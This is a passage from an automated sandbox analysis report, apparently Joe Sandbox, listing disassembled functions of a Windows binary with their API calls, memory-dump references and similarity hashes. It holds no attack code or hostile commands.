                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Free$Virtual$Heap
                                                                                                                            • String ID: ?
                                                                                                                            • API String ID: 2016334554-1684325040
                                                                                                                            • Opcode ID: 169a6d46f6a643b97ed833bbe7206866fc14d5641102e3c0e689582a8ef9f656
                                                                                                                            • Instruction ID: 4b9add7cbc2e140abaed4c8676e85df04007be984c37df17bc4100959eae5381
                                                                                                                            • Opcode Fuzzy Hash: 169a6d46f6a643b97ed833bbe7206866fc14d5641102e3c0e689582a8ef9f656
                                                                                                                            • Instruction Fuzzy Hash: 99C19074A002059FCB28CF58C4D0AAABBB1FF88324F24C25ED85A4B792D735E946CF55
                                                                                                                            Function 00461A40 Relevance: 6.1, APIs: 4, Instructions: 134COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • GetTickCount.KERNEL32 ref: 00461A50
                                                                                                                            • WaitForMultipleObjects.KERNEL32(?,004E9A10,00000000,?,?,?,?,00411CEA,00000000,Rohan_DBServer), ref: 00461B20
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: CountMultipleObjectsTickWait
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 2792316827-0
                                                                                                                            • Opcode ID: b5fec8e06c63ec48b1dce2a3a05271029e9ca2f33d00822782354650ebc8ff68
                                                                                                                            • Instruction ID: dc24a7373b82d0f4662054ae36f5e528b717f33fbf6cb983b11cf71f3db3a86a
                                                                                                                            • Opcode Fuzzy Hash: b5fec8e06c63ec48b1dce2a3a05271029e9ca2f33d00822782354650ebc8ff68
                                                                                                                            • Instruction Fuzzy Hash: E9518375B005449FCB08DF69E99595AB7B1FF88700714826EE9069B3F6EB34BD00CB89
                                                                                                                            Function 00468B00 Relevance: 6.1, APIs: 4, Instructions: 69COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • GetCurrentDirectoryA.KERNEL32(00000104,?,00000001), ref: 00468B27
                                                                                                                            • SetCurrentDirectoryA.KERNEL32(?), ref: 00468B9E
                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 00468BB1
                                                                                                                            • SetCurrentDirectoryA.KERNEL32(?), ref: 00468BCD
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Directory$Current$Create
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 2517807233-0
                                                                                                                            • Opcode ID: 72b1d841c66615d38ae1e4bd47e0fe449c83858933522afca039f2ebd571c5b3
                                                                                                                            • Instruction ID: b6cbd08ee30c82743624672a55c75a81726dba72c14fbdcf07f4297eaa681248
                                                                                                                            • Opcode Fuzzy Hash: 72b1d841c66615d38ae1e4bd47e0fe449c83858933522afca039f2ebd571c5b3
                                                                                                                            • Instruction Fuzzy Hash: 3321E770A04288AFDB14CF60D894BF9BBB4AF49704F0441DDEA199B351DA74EB80CF45
                                                                                                                            Function 0044A4AE Relevance: 6.1, APIs: 4, Instructions: 65COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000), ref: 0044A4EF
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000FA,?,00000000,00000000), ref: 0044A51F
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000FA,?), ref: 0044A54F
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 0044A57F
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: bd3bf611e14fc00a6f8f3a4313c402274ec1183087522d49ef02443548318374
                                                                                                                            • Instruction ID: 9c230a460e304789250fbd902db337b75caeff7b930e9f27b0a61d9ededdf4ce
                                                                                                                            • Opcode Fuzzy Hash: bd3bf611e14fc00a6f8f3a4313c402274ec1183087522d49ef02443548318374
                                                                                                                            • Instruction Fuzzy Hash: 272175B0A00119BBDB24EF88ED55FAA73B5EF48714F1082C8F6186B3C1D231AD508F58
                                                                                                                            Function 0044C689 Relevance: 6.1, APIs: 4, Instructions: 65COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000), ref: 0044C6CA
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?,00000000,00000000), ref: 0044C6FA
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?), ref: 0044C72A
                                                                                                                            • #4.ODBC32(?,00000000,00000001,?,000000C9,00000000,?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?), ref: 0044C75D
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: b01bd08b16833d0e38c81c1c3d5a9735bbdf0c8e9d0dfbb3b454ff505294ebd4
                                                                                                                            • Instruction ID: f61e3fb9075f1164bcb39f9268d7f779dd3f179c3e87c06845e4c04dab24d03b
                                                                                                                            • Opcode Fuzzy Hash: b01bd08b16833d0e38c81c1c3d5a9735bbdf0c8e9d0dfbb3b454ff505294ebd4
                                                                                                                            • Instruction Fuzzy Hash: EE215EB0A00118ABDB24DF09CC99FAAB379FF40714F1082CAF6187B391D271AD808F54
                                                                                                                            Function 0044C5A9 Relevance: 6.1, APIs: 4, Instructions: 64COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000), ref: 0044C5E7
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?,00000000,00000000), ref: 0044C617
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?), ref: 0044C647
                                                                                                                            • #4.ODBC32(?,00000000,00000001,?,000000C9,00000000,?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?), ref: 0044C67A
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 7ee4bcc04e45d0d201e364b6f5088e6599c49bb5500c1a341ea51a2246d42caa
                                                                                                                            • Instruction ID: ea012b0e4620368f1df73059d13864150261419d1cc8207e767d58724612ae0e
                                                                                                                            • Opcode Fuzzy Hash: 7ee4bcc04e45d0d201e364b6f5088e6599c49bb5500c1a341ea51a2246d42caa
                                                                                                                            • Instruction Fuzzy Hash: 4E214DB4A02118ABFB64DF09CC59FAE7335EB44718F20C2C9F6196B391DA71AD808F54
                                                                                                                            Function 004613F0 Relevance: 6.1, APIs: 4, Instructions: 61COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • EnterCriticalSection.KERNEL32(?,?,0041178C,?,?,?,?), ref: 00461414
                                                                                                                            • SetTextColor.GDI32(?,?), ref: 00461436
                                                                                                                            • TextOutA.GDI32(?,00000001,?,?,?), ref: 00461480
                                                                                                                            • LeaveCriticalSection.KERNEL32(?,?,0041178C,?), ref: 0046148D
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: CriticalSectionText$ColorEnterLeave
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 2849919995-0
                                                                                                                            • Opcode ID: ff5513042247184df39979646622bde19cd9b813bc8aa9d423c0933b83a0adbd
                                                                                                                            • Instruction ID: 10c3e8ab75c5dcc878972731bacdd0f92cb79f174a69f1e64db862e4b1de0180
                                                                                                                            • Opcode Fuzzy Hash: ff5513042247184df39979646622bde19cd9b813bc8aa9d423c0933b83a0adbd
                                                                                                                            • Instruction Fuzzy Hash: C321E778A00209EFCB44CF98D894E9EBBB5FF49318F148199E905A7312C734EA50CFA4
                                                                                                                            Function 004680D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • DNameNode::DNameNode.LIBCMTD ref: 00468170
                                                                                                                              • Part of subcall function 00467F20: InitializeCriticalSection.KERNEL32(?,00000001), ref: 00467F57
                                                                                                                              • Part of subcall function 004832A4: GetLocalTime.KERNEL32(?,?,?,0046819E,?), ref: 004832AE
                                                                                                                            • _wctomb_s.LIBCMT ref: 004681B8
                                                                                                                              • Part of subcall function 00468320: CreateFileA.KERNEL32(?,40000000,00000001,00000000,004681D6,00000080,00000000,?,004681D6,?,00000000), ref: 0046839F
                                                                                                                              • Part of subcall function 00468320: SetFilePointer.KERNEL32(000000FF,00000000,00000000,00000002,?,004681D6), ref: 004683B8
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
